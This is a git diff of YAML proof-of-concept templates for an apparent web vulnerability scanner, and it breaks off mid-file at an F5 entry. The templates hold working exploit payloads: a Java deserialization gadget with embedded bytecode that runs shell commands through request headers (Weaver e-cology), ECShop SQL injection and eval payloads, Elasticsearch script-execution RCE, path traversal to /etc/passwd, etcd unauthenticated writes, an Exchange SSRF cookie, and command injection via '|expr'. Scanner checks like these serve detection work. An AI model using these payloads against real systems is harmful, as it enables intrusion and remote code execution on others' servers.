<byte-array>yv66vgAAADQAjwoACgA/CQAiAEAKAEEAQgoAQQBDCABECgBFAEYIADUHAEcKAAgASAcASQoASgBLBwBMCAAuCgAMAE0KAAwATgcATwsAEABQBwBRCgBSAFMHAFQKABQAPwgAVQoAFABWCgAUAFcKAFIAWAoAWQBaCgASAFsIAFwKABIAXQoAEgBeCgBfAGAHAGEKACAAYgcAYwcAZAEABGpha3kBABJMamF2YS9sYW5nL1N0cmluZzsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAIkx5YW9zZXJpYWwvcGF5bG9hZHMvdXRpbC9UZXN0T2JqMTsBAAg8Y2xpbml0PgEAA2NtZAEAA3JlcAEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAANvdXQBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAJzaQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0Q29udGV4dFJlcXVlc3QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAA3JlcQEAL0xjb20vY2F1Y2hvL3NlcnZlci9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdEltcGw7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAGEBAApTb3VyY2VGaWxlAQANVGVzdE9iajEuamF2YQwAJgAnDAAkACUHAGUMAGYAZwwAaABpAQAsY29tLmNhdWNoby5zZXJ2ZXIuZGlzcGF0Y2guU2VydmxldEludm9jYXRpb24HAGoMAGsAbAEAD2phdmEvbGFuZy9DbGFzcwwAbQBuAQAQamF2YS9sYW5nL09iamVjdAcAbwwAcABxAQAtY29tL2NhdWNoby9zZXJ2ZXIvaHR0cC9IdHRwU2VydmxldFJlcXVlc3RJbXBsDAByAHMMAHQAdQEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDAB2AHcBABFqYXZhL3V0aWwvU2Nhbm5lcgcAeAwAeQB6AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAdjbWQgL2MgDAB7AHwMAH0AfgwAfwCABwCBDACCAIMMACYAhAEAAlxBDACFAIYMAIcAfgcAiAwAiQCKAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAiwAnAQAgeWFvc2VyaWFsL3BheWxvYWRzL3V0aWwvVGVzdE9iajEBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEmdldFNlcnZsZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwCMCgCNAD8AIQAiAI0AAQAjAAEACgAkACUAAAACAAEAJgAnAAEAKAAAAC8AAQABAAAABSq3AI6xAAAAAgApAAAABgABAAAABwAqAAAADAABAAAABQArACwAAAAIAC0AJwABACgAAAE5AAYABgAAAIMBswACuAADtgAEEgW2AAZLKhIHA70ACLYACUwrAQO9AAq2AAvAAAxNLBINtgAOxgBMLBINtgAOTiy2AA/AABA6BBkEuQARAQA6BRkFuwASWbgAE7sAFFm3ABUSFrYAFy22ABe2ABi2ABm2ABq3ABsSHLYAHbYAHrYAH6cACEsqtgAhsQABAAQAegB9ACAAAwApAAAAPgAPAAAACQAEAA0AEAAOABsADwAoABAAMQARADgAEgBBABMASgAUAHEAFQB3ABQAegAZAH0AFwB+ABgAggAaACoAAABIAAcAOABCAC4AJQADAEEAOQAvADAABABKADAAMQAyAAUAEABqADMANAAAABsAXwA1ADYAAQAoAFIANwA4AAIAfgAEADkAOgAAADsAAAAKAAP7AHpCBwA8BAABAD0AAAACAD4=</byte-array> <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array> </__bytecodes> <__transletIndex>-1</__transletIndex> <__indentNumber>0</__indentNumber> </default> <boolean>false</boolean> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference="../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"/> </java.util.PriorityQueue> </java.util.PriorityQueue> 2 + expression: | + response.status == 500 && response.headers["Set-Cookie"].contains("ecology") && response.body.bcontains(b"for 16-bit app support") + linux: + - method: POST + path: /services%20/WorkflowServiceXml + headers: + Content-Type: text/xml + cmd: bin/bash -c 'expr {{rand1}} + {{rand2}}' + follow_redirects: false + body: | + <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class="org.apache.commons.beanutils.BeanComparator"> <property>outputProperties</property> <comparator class="org.apache.commons.collections.comparators.ComparableComparator"/> </comparator> </default> <int>3</int> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom"> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <default> <__name>Pwnr</__name> <__bytecodes> <byte-array>yv66vgAAADQAjwoACgA/CQAiAEAKAEEAQgoAQQBDCABECgBFAEYIADUHAEcKAAgASAcASQoASgBLBwBMCAAuCgAMAE0KAAwATgcATwsAEABQBwBRCgBSAFMHAFQKABQAPwgAVQoAFABWCgAUAFcKAFIAWAoAWQBaCgASAFsIAFwKABIAXQoAEgBeCgBfAGAHAGEKACAAYgcAYwcAZAEABGpha3kBABJMamF2YS9sYW5nL1N0cmluZzsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAIkx5YW9zZXJpYWwvcGF5bG9hZHMvdXRpbC9UZXN0T2JqMTsBAAg8Y2xpbml0PgEAA2NtZAEAA3JlcAEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAANvdXQBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAJzaQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0Q29udGV4dFJlcXVlc3QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAA3JlcQEAL0xjb20vY2F1Y2hvL3NlcnZlci9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdEltcGw7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAGEBAApTb3VyY2VGaWxlAQANVGVzdE9iajEuamF2YQwAJgAnDAAkACUHAGUMAGYAZwwAaABpAQAsY29tLmNhdWNoby5zZXJ2ZXIuZGlzcGF0Y2guU2VydmxldEludm9jYXRpb24HAGoMAGsAbAEAD2phdmEvbGFuZy9DbGFzcwwAbQBuAQAQamF2YS9sYW5nL09iamVjdAcAbwwAcABxAQAtY29tL2NhdWNoby9zZXJ2ZXIvaHR0cC9IdHRwU2VydmxldFJlcXVlc3RJbXBsDAByAHMMAHQAdQEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDAB2AHcBABFqYXZhL3V0aWwvU2Nhbm5lcgcAeAwAeQB6AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAdjbWQgL2MgDAB7AHwMAH0AfgwAfwCABwCBDACCAIMMACYAhAEAAlxBDACFAIYMAIcAfgcAiAwAiQCKAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAiwAnAQAgeWFvc2VyaWFsL3BheWxvYWRzL3V0aWwvVGVzdE9iajEBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEmdldFNlcnZsZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwCMCgCNAD8AIQAiAI0AAQAjAAEACgAkACUAAAACAAEAJgAnAAEAKAAAAC8AAQABAAAABSq3AI6xAAAAAgApAAAABgABAAAABwAqAAAADAABAAAABQArACwAAAAIAC0AJwABACgAAAE5AAYABgAAAIMBswACuAADtgAEEgW2AAZLKhIHA70ACLYACUwrAQO9AAq2AAvAAAxNLBINtgAOxgBMLBINtgAOTiy2AA/AABA6BBkEuQARAQA6BRkFuwASWbgAE7sAFFm3ABUSFrYAFy22ABe2ABi2ABm2ABq3ABsSHLYAHbYAHrYAH6cACEsqtgAhsQABAAQAegB9ACAAAwApAAAAPgAPAAAACQAEAA0AEAAOABsADwAoABAAMQARADgAEgBBABMASgAUAHEAFQB3ABQAegAZAH0AFwB+ABgAggAaACoAAABIAAcAOABCAC4AJQADAEEAOQAvADAABABKADAAMQAyAAUAEABqADMANAAAABsAXwA1ADYAAQAoAFIANwA4AAIAfgAEADkAOgAAADsAAAAKAAP7AHpCBwA8BAABAD0AAAACAD4=</byte-array> <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array> </__bytecodes> <__transletIndex>-1</__transletIndex> <__indentNumber>0</__indentNumber> </default> <boolean>false</boolean> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference="../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"/> </java.util.PriorityQueue> </java.util.PriorityQueue> 2 + expression: | + response.body.bcontains(bytes(string(rand1 + rand2))) +detail: + author: tangshoupu + info: ecology-workflowservicexml-rce + links: + - https://www.anquanke.com/post/id/239865 \ No newline at end of file diff --git a/WebScan/pocs/ecshop-collection-list-sqli.yml b/WebScan/pocs/ecshop-collection-list-sqli.yml new file mode 100644 index 0000000..a137e7d --- /dev/null +++ b/WebScan/pocs/ecshop-collection-list-sqli.yml @@ -0,0 +1,14 @@ +name: poc-yaml-ecshop-collection-list-sqli +set: + r1: randomInt(10000, 99999) +rules: + - method: GET + path: /user.php?act=collection_list + headers: + X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953apay_log|s:55:"1' and updatexml(1,insert(md5({{r1}}),1,1,0x7e),1) and '";|45ea207d7a2b68c49582d2d22adf953a + follow_redirects: false + expression: response.body.bcontains(bytes(substr(md5(string(r1)), 1, 32))) +detail: + author: 曦shen + links: + - https://github.com/vulhub/vulhub/tree/master/ecshop/collection_list-sqli diff --git a/WebScan/pocs/ecshop-rce.yml b/WebScan/pocs/ecshop-rce.yml index bb9151c..acaa0a0 100644 --- a/WebScan/pocs/ecshop-rce.yml +++ b/WebScan/pocs/ecshop-rce.yml @@ -2,15 +2,25 @@ name: poc-yaml-ecshop-rce set: r1: randomInt(40000, 44800) r2: randomInt(40000, 44800) -rules: - - method: POST - path: /user.php - headers: - Referer: >- - 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca - Content-Type: application/x-www-form-urlencoded - body: action=login&pp123=printf({{r1}}*{{r2}}); - expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +groups: + 2.x: + - method: POST + path: /user.php + headers: + Referer: >- + 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca + Content-Type: application/x-www-form-urlencoded + body: action=login&pp123=printf({{r1}}*{{r2}}); + expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) + 3.x: + - method: POST + path: /user.php + headers: + Referer: >- + 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953aads + Content-Type: application/x-www-form-urlencoded + body: action=login&pp123=printf({{r1}}*{{r2}}); + expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) detail: author: 凉风(http://webkiller.cn/) links: diff --git a/WebScan/pocs/ecshop-rce2.yml b/WebScan/pocs/ecshop-rce2.yml deleted file mode 100644 index c79f02c..0000000 --- a/WebScan/pocs/ecshop-rce2.yml +++ /dev/null @@ -1,17 +0,0 @@ -name: poc-yaml-ecshop-rce -set: - r1: randomInt(40000, 44800) - r2: randomInt(40000, 44800) -rules: - - method: POST - path: /user.php - headers: - Referer: >- - 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953aads - Content-Type: application/x-www-form-urlencoded - body: action=login&pp123=printf({{r1}}*{{r2}}); - expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) -detail: - author: 凉风(http://webkiller.cn/) - links: - - https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md \ No newline at end of file diff --git a/WebScan/pocs/eea-info-leak-cnvd-2021-10543.yml b/WebScan/pocs/eea-info-leak-cnvd-2021-10543.yml new file mode 100644 index 0000000..18fd471 --- /dev/null +++ b/WebScan/pocs/eea-info-leak-cnvd-2021-10543.yml @@ -0,0 +1,11 @@ +name: poc-yaml-eea-info-leak-cnvd-2021-10543 +rules: + - method: GET + path: "/authenticationserverservlet" + expression: | + response.status == 200 && "(.*?)".bmatches(response.body) && "(.*?)".bmatches(response.body) +detail: + author: Search?=Null + description: "MessageSolution Enterprise Email Archiving (EEA) Info Leak." + links: + - https://exp1orer.github.io diff --git a/WebScan/pocs/elasticsearch-cve-2014-3120.yml b/WebScan/pocs/elasticsearch-cve-2014-3120.yml new file mode 100644 index 0000000..178671b --- /dev/null +++ b/WebScan/pocs/elasticsearch-cve-2014-3120.yml @@ -0,0 +1,45 @@ +name: poc-yaml-elasticsearch-cve-2014-3120 +set: + r: randomInt(800000000, 1000000000) + r1: randomInt(800000000, 1000000000) +rules: + - method: POST + path: /test/test1/123 + headers: + Content-Type: application/json + body: | + { + "name": "test" + } + expression: | + response.status == 201 || response.status == 200 + - method: POST + path: /_search + headers: + Content-Type: application/json + body: |- + { + "size": 1, + "query": { + "filtered": { + "query": { + "match_all": { + } + } + } + }, + "script_fields": { + "command": { + "script": "{{r}}+{{r1}}" + } + } + } + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r + r1))) + +detail: + author: suancaiyu、violin + elasticsearch: v1.1.1 + links: + - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120 diff --git a/WebScan/pocs/elasticsearch-cve-2015-1427.yml b/WebScan/pocs/elasticsearch-cve-2015-1427.yml new file mode 100644 index 0000000..9415f93 --- /dev/null +++ b/WebScan/pocs/elasticsearch-cve-2015-1427.yml @@ -0,0 +1,35 @@ +name: poc-yaml-elasticsearch-cve-2015-1427 +set: + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +rules: + - method: POST + path: /test/test + headers: + Content-Type: application/json + body: | + { + "name": "test" + } + expression: | + response.status == 201 + - method: POST + path: /_search + headers: + Content-Type: application/json + body: | + { + "size":1, + "script_fields":{ + "lupin":{ + "lang":"groovy", + "script":"{{r1}}*{{r2}}" + } + } + } + expression: | + response.status == 200 && response.content_type.icontains("json") && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: pululin(https://github.com/pululin) + links: + - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-1427 \ No newline at end of file diff --git a/WebScan/pocs/elasticsearch-cve-2015-3337-lfi.yml b/WebScan/pocs/elasticsearch-cve-2015-3337-lfi.yml new file mode 100644 index 0000000..bfb51d3 --- /dev/null +++ b/WebScan/pocs/elasticsearch-cve-2015-3337-lfi.yml @@ -0,0 +1,11 @@ +name: poc-yaml-elasticsearch-cve-2015-3337-lfi +rules: + - method: GET + path: /_plugin/head/../../../../../../../../../../../../../../../../etc/passwd + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) + +detail: + author: X.Yang + links: + - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-3337 diff --git a/WebScan/pocs/elasticsearch-cve-2015-5531.yml b/WebScan/pocs/elasticsearch-cve-2015-5531.yml new file mode 100644 index 0000000..14fd772 --- /dev/null +++ b/WebScan/pocs/elasticsearch-cve-2015-5531.yml @@ -0,0 +1,42 @@ +name: poc-yaml-elasticsearch-cve-2015-5531 +set: + r1: randomLowercase(4) +rules: + - method: PUT + path: /_snapshot/{{r1}} + headers: + Content-Type: application/x-www-form-urlencoded + body: |- + { + "type": "fs", + "settings":{ + "location": "/usr/share/elasticsearch/repo/{{r1}}" + } + } + follow_redirects: true + expression: | + response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"{\"acknowledged\":true}") + - method: PUT + path: /_snapshot/{{r1}}2 + headers: + Content-Type: application/x-www-form-urlencoded + body: |- + { + "type": "fs", + "settings":{ + "location": "/usr/share/elasticsearch/repo/{{r1}}/snapshot-backdata" + } + } + follow_redirects: true + expression: | + response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"{\"acknowledged\":true}") + - method: GET + path: >- + /_snapshot/{{r1}}/backdata%2f..%2f..%2f..%2fconfig%2felasticsearch.yml + follow_redirects: true + expression: | + response.status == 400 && response.content_type.contains("application/json") && response.body.bcontains(b"{\"error\":\"ElasticsearchParseException[Failed to derive xcontent from") +detail: + author: ha9worm(https://github.com/ha9worm) + links: + - https://www.cnblogs.com/sallyzhang/p/12457031.html diff --git a/WebScan/pocs/etcd-unauth.yml b/WebScan/pocs/etcd-unauth.yml new file mode 100644 index 0000000..91efe96 --- /dev/null +++ b/WebScan/pocs/etcd-unauth.yml @@ -0,0 +1,29 @@ +name: poc-yaml-etcd-unauth +set: + r1: randomLowercase(32) + r2: randomLowercase(32) + r3: randomLowercase(32) +rules: + - method: PUT + path: /v2/keys/{{r1}}?dir=true + follow_redirects: false + expression: | + response.status == 201 + - method: PUT + path: /v2/keys/{{r1}}/{{r2}}?prevExist=false + headers: + Content-Type: application/x-www-form-urlencoded + body: value={{r3}} + follow_redirects: false + expression: | + response.status == 201 + - method: GET + path: /v2/keys/{{r1}}/{{r2}}?quorum=false&recursive=false&sorted=false + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(r3)) + +detail: + author: j4ckzh0u(https://github.com/j4ckzh0u) + links: + - https://www.freebuf.com/news/196993.html diff --git a/WebScan/pocs/etouch-v2-sqli.yml b/WebScan/pocs/etouch-v2-sqli.yml new file mode 100644 index 0000000..de8d3c5 --- /dev/null +++ b/WebScan/pocs/etouch-v2-sqli.yml @@ -0,0 +1,12 @@ +name: poc-yaml-etouch-v2-sqli +rules: + - method: GET + path: >- + /upload/mobile/index.php?c=category&a=asynclist&price_max=1.0%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)' + expression: | + response.status == 200 && response.body.bcontains(b"c4ca4238a0b923820dcc509a6f75849b") +detail: + author: MaxSecurity(https://github.com/MaxSecurity) + links: + - https://github.com/mstxq17/CodeCheck/ + - https://www.anquanke.com/post/id/168991 \ No newline at end of file diff --git a/WebScan/pocs/exchange-cve-2021-26855-ssrf.yml b/WebScan/pocs/exchange-cve-2021-26855-ssrf.yml index 97a1da6..6b9cfbd 100644 --- a/WebScan/pocs/exchange-cve-2021-26855-ssrf.yml +++ b/WebScan/pocs/exchange-cve-2021-26855-ssrf.yml @@ -6,9 +6,9 @@ rules: Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3; follow_redirects: false expression: | - "X-CalculatedBETarget" in response.headers && response.headers["X-CalculatedBETarget"].icontains("localhost") + response.headers["X-CalculatedBETarget"].icontains("localhost") detail: author: sharecast Affected Version: "Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010" links: - - https://github.com/microsoft/CSS-Exchange/blob/main/Security/http-vuln-cve2021-26855.nse \ No newline at end of file + - https://github.com/microsoft/CSS-Exchange/blob/main/Security/http-vuln-cve2021-26855.nse diff --git a/WebScan/pocs/eyou-rce.yml b/WebScan/pocs/eyou-rce.yml index 3e6bfcc..7645a4d 100644 --- a/WebScan/pocs/eyou-rce.yml +++ b/WebScan/pocs/eyou-rce.yml @@ -1,4 +1,4 @@ -name: poc-yaml-eyou-rce +name: poc-yaml-eyou-email-system-rce set: r1: randomInt(800000000, 1000000000) r2: randomInt(800000000, 1000000000) @@ -7,9 +7,12 @@ rules: path: /webadm/?q=moni_detail.do&action=gragh headers: Content-Type: application/x-www-form-urlencoded - body: type='|expr {{r1}} + {{r2}}||' - expression: response.body.bcontains(bytes(string(r1 + r2))) + body: | + type='|expr%20{{r1}}%20%2B%20{{r2}}||' + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) detail: - author: jingling(https://github.com/shmilylty) + author: Print1n(http://print1n.top) + description: 亿邮电子邮件系统 远程命令执行漏洞 links: - - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g \ No newline at end of file + - https://fengchenzxc.github.io/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E4%BA%BF%E9%82%AE/%E4%BA%BF%E9%82%AE%E7%94%B5%E5%AD%90%E9%82%AE%E4%BB%B6%E7%B3%BB%E7%BB%9F%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/ diff --git a/WebScan/pocs/f5-cve-2021-22986.yml b/WebScan/pocs/f5-cve-2021-22986.yml new file mode 100644 index 0000000..62a0c2b --- /dev/null +++ b/WebScan/pocs/f5-cve-2021-22986.yml @@ -0,0 +1,20 @@ +name: poc-yaml-f5-cve-2021-22986 +set: + r1: randomInt(800000000, 1000000000) + r2: 